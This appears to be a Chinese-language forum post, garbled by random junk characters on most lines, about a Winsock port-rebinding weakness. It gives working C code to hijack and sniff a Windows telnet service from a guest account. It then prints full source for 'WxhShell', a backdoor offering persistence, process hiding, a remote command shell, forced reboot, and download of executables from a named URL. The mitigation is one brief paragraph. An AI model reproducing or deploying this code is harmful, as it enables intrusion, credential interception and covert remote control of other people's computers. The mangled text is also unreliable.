在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
"ugX
/r$_ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
(r.$%[,.< b$;HI7)/K saddr.sin_family = AF_INET;
I[tAT[ < >&*6Fqd saddr.sin_addr.s_addr = htonl(INADDR_ANY);
0Ei\VVK> LBW.*PHW bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
z~GVvgd e_YW~z=6t 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
]R97n|s_ J&
1X 这意味着什么?意味着可以进行如下的攻击:
\/?
!
6~ sZ0g99eX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/&~nM NvXj6U*% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|U8>:DE l 6 lB{Ao?| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
{KF 7j63 nL 1IS 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
XMjI}SPG p=:7 atE 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
N{?Tm`"" 43UJ#rF 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0L3Bo3:k gubb .EY 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=YS!soO ]hCWe0F #include
9nP*N` #include
daaga}]d #include
U)&H.^@r$ #include
[X0k{FR DWORD WINAPI ClientThread(LPVOID lpParam);
uYG #c(lc int main()
)_Z]=5Ds {
BsoFQw4$9 WORD wVersionRequested;
Y2RxD\!Z DWORD ret;
'DaNR`9 WSADATA wsaData;
m]+X}| BOOL val;
9'L1KQ SOCKADDR_IN saddr;
^N*pIVLC SOCKADDR_IN scaddr;
|HKHN?) int err;
8cYuzt].. SOCKET s;
@c.11nfn` SOCKET sc;
nOA,x int caddsize;
~$ cm9> HANDLE mt;
5#9`ROT9 DWORD tid;
o+)m}'T8 wVersionRequested = MAKEWORD( 2, 2 );
VZ9e~){xA err = WSAStartup( wVersionRequested, &wsaData );
(E2lv#[ if ( err != 0 ) {
}w|=c>'_} printf("error!WSAStartup failed!\n");
AxG?zBTFx return -1;
G#_(7X& }
:epitpJ saddr.sin_family = AF_INET;
e8WPV +lY\r + ; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
:Su 5 hr/xpQW saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
mI_ 6f~ saddr.sin_port = htons(23);
;ph+ZV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
DYy@t^sC {
LaAgoarN printf("error!socket failed!\n");
,d/CU return -1;
8EW`*+%= }
B=o#LL val = TRUE;
MSxU>FX0 //SO_REUSEADDR选项就是可以实现端口重绑定的
xc3Ov9`8% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
%j
9vX$Hj {
W#oEF/G printf("error!setsockopt failed!\n");
bUipp\[aV return -1;
HbJadOK }
8yJk81
gY //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
;n:H6cp //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
|r<.R> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
$w2[5|^S juve9HaW if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Aw_R
$ {
AR[M8RA ret=GetLastError();
YV2pERl printf("error!bind failed!\n");
A61-AwvF8- return -1;
*`\4j*$^ }
0*]<RM listen(s,2);
<9MQ while(1)
n]6w)wE( {
gvwCoCbb caddsize = sizeof(scaddr);
9e :d2 //接受连接请求
s525`Q; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
;1(qGy4 if(sc!=INVALID_SOCKET)
D%5 {A= {
YA/H;707l mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
W+-f ` if(mt==NULL)
mtHi9).,y| {
Q>+_W2~] printf("Thread Creat Failed!\n");
&`\kb2uep break;
U8.0 L }
e-T9HM&%P }
fu7[8R"{ CloseHandle(mt);
;#Crh}~ }
$7k04e@] closesocket(s);
QVA!z## WSACleanup();
HjETinm" return 0;
J[_?>YJ }
4=#QN DWORD WINAPI ClientThread(LPVOID lpParam)
E!(`275s {
'KN!m|
z SOCKET ss = (SOCKET)lpParam;
_#\5]D~"" SOCKET sc;
z;@S_0M,Z unsigned char buf[4096];
@?($j)9} SOCKADDR_IN saddr;
)Lv6vnT> long num;
}~0{1& DWORD val;
[;kj,j DWORD ret;
!UPAEA //如果是隐藏端口应用的话,可以在此处加一些判断
h hNFp //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
tI(t%~>^ saddr.sin_family = AF_INET;
r%?}5"* saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
jl?y} saddr.sin_port = htons(23);
=K&q;;h if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&b#NF1Q. {
vA $BBXX printf("error!socket failed!\n");
D\i8rqU/l return -1;
jind!@}! }
,hcBiL/ val = 100;
?)ZLxLV:: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,\">o vV33 {
kv`3Y0R-" ret = GetLastError();
R|^t~h- return -1;
BtDgv.;GH }
HoQ(1e$G- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8B(Q7Qj {
m$e@<~To ret = GetLastError();
[E&"9%K return -1;
8C4@V[sm` }
B\~3p4S if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
=?QQb> {
"nS{
;: printf("error!socket connect failed!\n");
.~/;v~bL closesocket(sc);
}N=zn7W closesocket(ss);
I5AjEp return -1;
jq]\oY8y }
]{ l
O while(1)
;Q%19f3,6 {
ckkM)|kK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
pRfHbPV? //如果是嗅探内容的话,可以再此处进行内容分析和记录
=dJEcC_J //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
.m
% x-i num = recv(ss,buf,4096,0);
N/SB}Fj if(num>0)
v,O&UrZ send(sc,buf,num,0);
4iB)oR else if(num==0)
3_['[}
break;
a>e
1jM[ num = recv(sc,buf,4096,0);
2LK*Cv[ if(num>0)
jZgnt{ send(ss,buf,num,0);
`[R:L.H1 else if(num==0)
UM;bVf? break;
SF}L3/C&h }
kA$;vbm closesocket(ss);
>w'?DV>u| closesocket(sc);
xo@/k return 0 ;
{hp@j# }
S+=@d\S}" 'Rf#1ls# T"jDq1C/,E ==========================================================
oz7udY=]0 OTbjZ( 下边附上一个代码,,WXhSHELL
{d5ur@G1 G7#~=W
2M ==========================================================
xn#I7]]G -)c"cgx. #include "stdafx.h"
l<:)rg^, eFI9S.6 #include <stdio.h>
>WG91b<Xq #include <string.h>
(3HgI #include <windows.h>
uTFEI.N #include <winsock2.h>
=(uy':Dbn* #include <winsvc.h>
1 jd=R7 #include <urlmon.h>
J};,%q_ ;R>42
qYF #pragma comment (lib, "Ws2_32.lib")
|zegnq~ #pragma comment (lib, "urlmon.lib")
!)1Zp* >@\?\!Go #define MAX_USER 100 // 最大客户端连接数
e(5Px!B #define BUF_SOCK 200 // sock buffer
^C#bW<T #define KEY_BUFF 255 // 输入 buffer
*fyEw\`a P=hf/jOv9 #define REBOOT 0 // 重启
n!,TBCNX #define SHUTDOWN 1 // 关机
k.VOS0 &_TjRj" #define DEF_PORT 5000 // 监听端口
IOsDVIXL\ Qpu2RfP #define REG_LEN 16 // 注册表键长度
Wam?(!{mOf #define SVC_LEN 80 // NT服务名长度
i]Of<eQ" (4gQe6tA // 从dll定义API
<Gt{(is typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|L#r)$n{1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
6aK2{-+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
tWy<9TF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'cCj@bZ9X [WSIC *|; // wxhshell配置信息
X "r$,~ struct WSCFG {
?d'9TOlD int ws_port; // 监听端口
4C*=8oe_ char ws_passstr[REG_LEN]; // 口令
U-N/Z\QD int ws_autoins; // 安装标记, 1=yes 0=no
b-gVRf#F char ws_regname[REG_LEN]; // 注册表键名
Ol^EQLO char ws_svcname[REG_LEN]; // 服务名
833t0Ml1A/ char ws_svcdisp[SVC_LEN]; // 服务显示名
mqxy(zS] char ws_svcdesc[SVC_LEN]; // 服务描述信息
W-B[_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Fi}rv[`XY[ int ws_downexe; // 下载执行标记, 1=yes 0=no
yM ~D.D3H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!!pi\J?sk char ws_filenam[SVC_LEN]; // 下载后保存的文件名
gDBQ\vM8 > %*X2'^ };
+ {dIs DccsVR`7 // default Wxhshell configuration
q.Mck9R7 struct WSCFG wscfg={DEF_PORT,
9`VF
[*
9 "xuhuanlingzhe",
VZ!$'?? 1,
u $^`hzfI "Wxhshell",
jiD8|%}v "Wxhshell",
a#j^gu$m "WxhShell Service",
xJ.!Q)[ "Wrsky Windows CmdShell Service",
q/G5aO* "Please Input Your Password: ",
CzbNG^+ 1,
`cRB!w=KHV "
http://www.wrsky.com/wxhshell.exe",
T`G"2|ISS "Wxhshell.exe"
L-T Ve };
'Z9F0l"Nr Y3&ecEE // 消息定义模块
F'Vl\qPt char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
sM_e_e char *msg_ws_prompt="\n\r? for help\n\r#>";
oVgNG!/c0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
}#
^PbM char *msg_ws_ext="\n\rExit.";
y=`(`|YW}` char *msg_ws_end="\n\rQuit.";
)SLs
[ char *msg_ws_boot="\n\rReboot...";
a
VMFjkW char *msg_ws_poff="\n\rShutdown...";
\5_^P{p7< char *msg_ws_down="\n\rSave to ";
(LPc\\Vv 4 (gf!U char *msg_ws_err="\n\rErr!";
p-Btbhv char *msg_ws_ok="\n\rOK!";
(`*wiu+i 0_.hU^fP char ExeFile[MAX_PATH];
tfQq3 # int nUser = 0;
(HxF\#r? HANDLE handles[MAX_USER];
^%^0x'" int OsIsNt;
YtQWArX, N$b;8F SERVICE_STATUS serviceStatus;
I'YotV7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
(`xnA~BN dkC / ?R // 函数声明
B\yq%m int Install(void);
pP&M]' int Uninstall(void);
^a5>`W int DownloadFile(char *sURL, SOCKET wsh);
a"4 6_> int Boot(int flag);
{P+[CO void HideProc(void);
Puh&F< B int GetOsVer(void);
?Ea"%z*c5 int Wxhshell(SOCKET wsl);
u{z{3fW_ void TalkWithClient(void *cs);
#+\G-
=- int CmdShell(SOCKET sock);
9mm(?O~'p int StartFromService(void);
%W+Fe,] int StartWxhshell(LPSTR lpCmdLine);
Z;s-t\C g&wQ^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
v,B\+q/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
_Y=yR2O mAa]Et. // 数据结构和表定义
ARo5 Ss{ SERVICE_TABLE_ENTRY DispatchTable[] =
q"oNB-bz {
]^<~[QK_C {wscfg.ws_svcname, NTServiceMain},
W@=ilW3RD {NULL, NULL}
tT:yvU@a };
U @|_5[nl .|-y+9IP // 自我安装
.IU+4ENSy4 int Install(void)
]={Hq9d@ {
cGKk2'v? char svExeFile[MAX_PATH];
4N&}hOM'S HKEY key;
E
.5xzY strcpy(svExeFile,ExeFile);
}XU- JAn UJ:B:hh'' // 如果是win9x系统,修改注册表设为自启动
- %|I if(!OsIsNt) {
<i-RF-*S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l<?wB|1' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"
cg>g/ RegCloseKey(key);
<ZEA&:p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
AtI,&S#{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{VG6m
Hw RegCloseKey(key);
R2@u[ return 0;
a6_`V; }
'iK0Wr }
uip]K{/A!e }
1,,-R*x else {
=UY@,*q:c ` 0F
IJT // 如果是NT以上系统,安装为系统服务
yM@cml6Ox SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
mr? ii if (schSCManager!=0)
\mloR
' {
'>BHwc SC_HANDLE schService = CreateService
0saEcJ- (
=B1!em| schSCManager,
;Lu|fQ#u* wscfg.ws_svcname,
\BW(c)Q wscfg.ws_svcdisp,
QR4o j SERVICE_ALL_ACCESS,
, fn=%tiUk SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}=gGs SERVICE_AUTO_START,
<*P1Sd. SERVICE_ERROR_NORMAL,
O/Vue svExeFile,
"/5b3^a NULL,
sTDBK!9I NULL,
FceT' NULL,
5Mr:(|JyV NULL,
,")7uMZaF\ NULL
g=Lt2UIJ );
]Ea-?IhD if (schService!=0)
OgX."pK {
G)Y!aX CloseServiceHandle(schService);
_[W=1bGJ CloseServiceHandle(schSCManager);
:nI.Qa'"H strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
DNPK1e3a{ strcat(svExeFile,wscfg.ws_svcname);
<3KrhhH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
K9R[
oB]b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
bu-
RU(% RegCloseKey(key);
.@'Vz;&mQ return 0;
5|Qr"c$p }
xlAaIo)T }
`F#KXk CloseServiceHandle(schSCManager);
H@zpw1fH+ }
.kVga+la? }
) =[Tgh 0U'r ia:$ return 1;
<,{v>vlw }
R[QE:#hT rk|6!kry // 自我卸载
jolCR-FDu int Uninstall(void)
<Vim\ {
]+AI: HKEY key;
$1e@3mzM @,]v'l!u if(!OsIsNt) {
<IYt*vlm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4.8,&{w<m RegDeleteValue(key,wscfg.ws_regname);
0^=S:~G RegCloseKey(key);
#qWEyb2UZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0:*$i(2 RegDeleteValue(key,wscfg.ws_regname);
n2E2V<# RegCloseKey(key);
hf[K\aAk return 0;
S`::f(e }
KGIz)/eSg }
(\j<`"n }
$aG'.0HW else {
]#nAld1cmy Xp'KQ1w) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
a
<3oyY' if (schSCManager!=0)
^P[*yf {
UxW~yk SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
7?Fl [FW$ if (schService!=0)
;.Kzc3yz} {
v [x`I; if(DeleteService(schService)!=0) {
NoMC*",b> CloseServiceHandle(schService);
2}NfR8
N CloseServiceHandle(schSCManager);
M`(xAVl return 0;
sEoS[t|" }
-Jhf] CloseServiceHandle(schService);
*)`:Nm~y }
{1o=/& CloseServiceHandle(schSCManager);
}V 1sY^C }
0t) IWD }
fqcyCu7Ep hm&~6rB return 1;
ZrTq)BZ }
/<mc~S7 \sk,3b-&' // 从指定url下载文件
[-l^,,E int DownloadFile(char *sURL, SOCKET wsh)
Z1Ms~tch {
:!%oQQO HRESULT hr;
X**wRF char seps[]= "/";
R{T4AZ@,' char *token;
6c2fqAF>i char *file;
F?UL0Q|u v char myURL[MAX_PATH];
\1tce`+ char myFILE[MAX_PATH];
nP}/#Wy |aZ^K\yI F strcpy(myURL,sURL);
{Z|C token=strtok(myURL,seps);
/:S.("Unv while(token!=NULL)
O&}0 7( {
{S|uQgs6j file=token;
2uB.0
token=strtok(NULL,seps);
`p!.K9r7 }
4o%hH toF@@% GetCurrentDirectory(MAX_PATH,myFILE);
pRC#DHcHh strcat(myFILE, "\\");
y"2c; *7[{ strcat(myFILE, file);
!l'Zar send(wsh,myFILE,strlen(myFILE),0);
2-$R@
SVy send(wsh,"...",3,0);
0Vg8o @ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
$lO\eQGxB if(hr==S_OK)
=%a.C(0&G return 0;
"$WZd else
G",+jR] return 1;
NWKD:{ 1r;Q5[@ }
46mu,v
"dA"N$ // 系统电源模块
&oT]ycz% int Boot(int flag)
tvd/Y|bV= {
)&*&ZL0 HANDLE hToken;
Jap
v<lV% TOKEN_PRIVILEGES tkp;
0hPm,H*Y] .9`.\v6R if(OsIsNt) {
0py0zE6,, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Sna7r~j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
2^|*M@3r tkp.PrivilegeCount = 1;
j3$KYf`T} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
f1Rm9`` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
RNm/&F1C$ if(flag==REBOOT) {
_Wgg=A"G if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
jML}{>Gy8S return 0;
-`rz[";n }
](%-5G1< else {
~V (WD;Mk if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
k&9
b&-=fk return 0;
](^xA` }
]E, }
=s;7T!7! else {
$[IuEdc/ if(flag==REBOOT) {
_v_ak4m> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
+|^rz#X return 0;
P}cGWfj }
d~qDQ6! else {
w@hm>6j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
La9dFe-uu{ return 0;
H=B8'N }
X.g1
312~ }
0'a.Ypf {AJspLcG return 1;
L>cTI2NB. }
x H\5T! !)ee{CwNc // win9x进程隐藏模块
d6wsT\S void HideProc(void)
[03Aej {
92XzbbLp /I="+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
M,NYF`;a if ( hKernel != NULL )
ZE4~rq/W {
mlX^5h' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
a:1-n%&F ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
j:rGFd FreeLibrary(hKernel);
$
-;,O8yR }
5r@x$* >e "(/.3`g return;
)|3?7?X }
mL ]zkD_ Fj|C+;Q. // 获取操作系统版本
h%pgdix int GetOsVer(void)
$:SHZe {
k/cQJz OSVERSIONINFO winfo;
tZwZZ0]Z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
CsXIq.9 GetVersionEx(&winfo);
LC/6'4}_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ShFSBD\M# return 1;
GJU84Xn7 else
$GEY*uIOa return 0;
G,%R`Xns }
NEJxd%- Yaht<Hy // 客户端句柄模块
~gmj/PQ0 int Wxhshell(SOCKET wsl)
:,% vAI {
<t&0[l SOCKET wsh;
)y_MI
r struct sockaddr_in client;
zJOL\J' DWORD myID;
f8!*4Bw b<NI6z8\ while(nUser<MAX_USER)
3`$- {
K'Wg_ihA int nSize=sizeof(client);
p8frSrcU wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
*ax$R6a#X if(wsh==INVALID_SOCKET) return 1;
V~ %!-7? c&J,O1){\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
44b;]htv if(handles[nUser]==0)
Z-.`JkKd8 closesocket(wsh);
m onqaSF else
0DV
.1 nUser++;
5_9mA4gs@ }
^,qi`Tk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7NE"+EP\{2 Rra<MOR return 0;
LW
8LD|@ }
f9?\Q'v8 jIaAx_ // 关闭 socket
Z~CL|= void CloseIt(SOCKET wsh)
s,)Z8H {
=a$7OV. closesocket(wsh);
M<4~ewWJ nUser--;
7X*$Fu< ExitThread(0);
tU.Y$%4 }
7='lu;=, M3!A?!BU // 客户端请求句柄
|9Q4VY'"; void TalkWithClient(void *cs)
}vgeQh-G {
uzr(gFd Q,S~+bD(z SOCKET wsh=(SOCKET)cs;
j|c char pwd[SVC_LEN];
;*Ldnj;B char cmd[KEY_BUFF];
.Cwgl char chr[1];
wsYvbI! int i,j;
Mj|\LF + Lk9X>`b#B while (nUser < MAX_USER) {
hRHqG ;shhgz$ if(wscfg.ws_passstr) {
UJ* D if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qwM71B!r //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ZxFRE#y~2 //ZeroMemory(pwd,KEY_BUFF);
a<*q+a(*W i=0;
s]@()?.E$ while(i<SVC_LEN) {
b"DaLwKkz L3/m}AH, // 设置超时
V{+'(<SV fd_set FdRead;
pyJY]"UHVE struct timeval TimeOut;
E<]O,z;F FD_ZERO(&FdRead);
agp`<1h9 FD_SET(wsh,&FdRead);
#eadkj#; TimeOut.tv_sec=8;
""q76cx TimeOut.tv_usec=0;
589hfET int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Dukvi;\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
jfF
G<:_O-cPSv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
GCm(3%{V%( pwd
=chr[0]; 5+Fr/C
if(chr[0]==0xd || chr[0]==0xa) { H3CG'?{ _
pwd=0; yq]= +X>(
break; z-ns@y(f@X
} EIQ`?8KSR
i++; UEHJ?
}
} &y_Ya%Z3*e
X?whyD)vE@
// 如果是非法用户,关闭 socket 2t
7':X
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [QwEidX|
} )B'&XLK
VZF;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n .is+2t
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a8nqzuI
cip5 -Z@8
while(1) { W cOyOv
*Cf5D6=Q
ZeroMemory(cmd,KEY_BUFF); {02$pO
c[VVCN8dA
// 自动支持客户端 telnet标准 ;\a?xtIy
j=0; R `K1L!`3
while(j<KEY_BUFF) { cH>@ZFTF
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [>--U)/
cmd[j]=chr[0]; e7tp4M9!%
if(chr[0]==0xa || chr[0]==0xd) { ^IW5c>;|
cmd[j]=0; iF,%^95=
break; TP3KT)
} BV;dV6`z
j++; 4Ys\<\~d
} (-S\%,hO
ak1?MKV.
// 下载文件 |Yb]@9>vn
if(strstr(cmd,"http://")) { 0MpZdJ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =)b!M^=X-a
if(DownloadFile(cmd,wsh)) @~7y\G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =1#obB
else m4\e`nl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D*=.;Rq
} yK+1C68A
else { eYtP396C|
<cm(QNdcC
switch(cmd[0]) { Dxvizd>VU
1FA:"0lO
// 帮助 KpX1GrIn3
case '?': { s#cb wDT
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ==#mlpi`S[
break; u~c75Mk_v
} Q Uy7Q$W
// 安装 i8w/a
case 'i': { ~cv322N
if(Install()) L`3;9rO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !(gMr1}w
else Phq"A[4=O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DyPHQ}G
break; GBYeiEgZh
} :MaP58dhh
// 卸载 y:',)f }
case 'r': { <>v=jH|L
if(Uninstall()) $U=j<^R}a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l"zwH
else v`r![QpYf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '2z1$zst,#
break; ^V}c8 P|
} ]A=yj@o$xN
// 显示 wxhshell 所在路径 8 /vGA=
case 'p': { *Z8qd{.$q
char svExeFile[MAX_PATH]; Uee(1
strcpy(svExeFile,"\n\r"); s3-TBhAv
strcat(svExeFile,ExeFile); t p<v
send(wsh,svExeFile,strlen(svExeFile),0); c/lT S
break; T{So2@_&
} yQcIfl]f
// 重启 #fx>{ vzH
case 'b': { CSwPL>tUV
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1,7
if(Boot(REBOOT)) 3ncN)E/@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;e)`Cv
else { ;RK;kdZ
closesocket(wsh); &j}:8Tst
ExitThread(0); t
i&!_
} "T@9#7Obu
break; 'pnOHT
} gb{8SG5ac
// 关机 :\Q#W4~p
case 'd': { e_YTh^wU
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zx/$
if(Boot(SHUTDOWN)) FLo`EE":O(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]T<tkvcI
else { M3G ecjR
closesocket(wsh); mCe"=[
ExitThread(0); w8D6j%C
} ,!H`@Kl
break; )7C+hQe
} W m&*
// 获取shell 0`/CoP<U
case 's': { Q{|_"sfJ
CmdShell(wsh); + )n}n5
closesocket(wsh); "+M0lGTB
ExitThread(0); |LRAb#F\
break; GdYQq.
} d@%PTSX
// 退出 %Yt;)q3U
case 'x': { K&VMhMVb
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r=HL!XFk
CloseIt(wsh); bU \T
break; bcgXpP
} -TMg9M4
// 离开 9m.MGJbQ_f
case 'q': { Wn{MY=5Y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); v|MT^.
closesocket(wsh); Cg(&WJw(ep
WSACleanup(); sd%m{P2
exit(1); Bg[_MDWc-P
break; J4x|Af p
} hSz_e
} uPy5<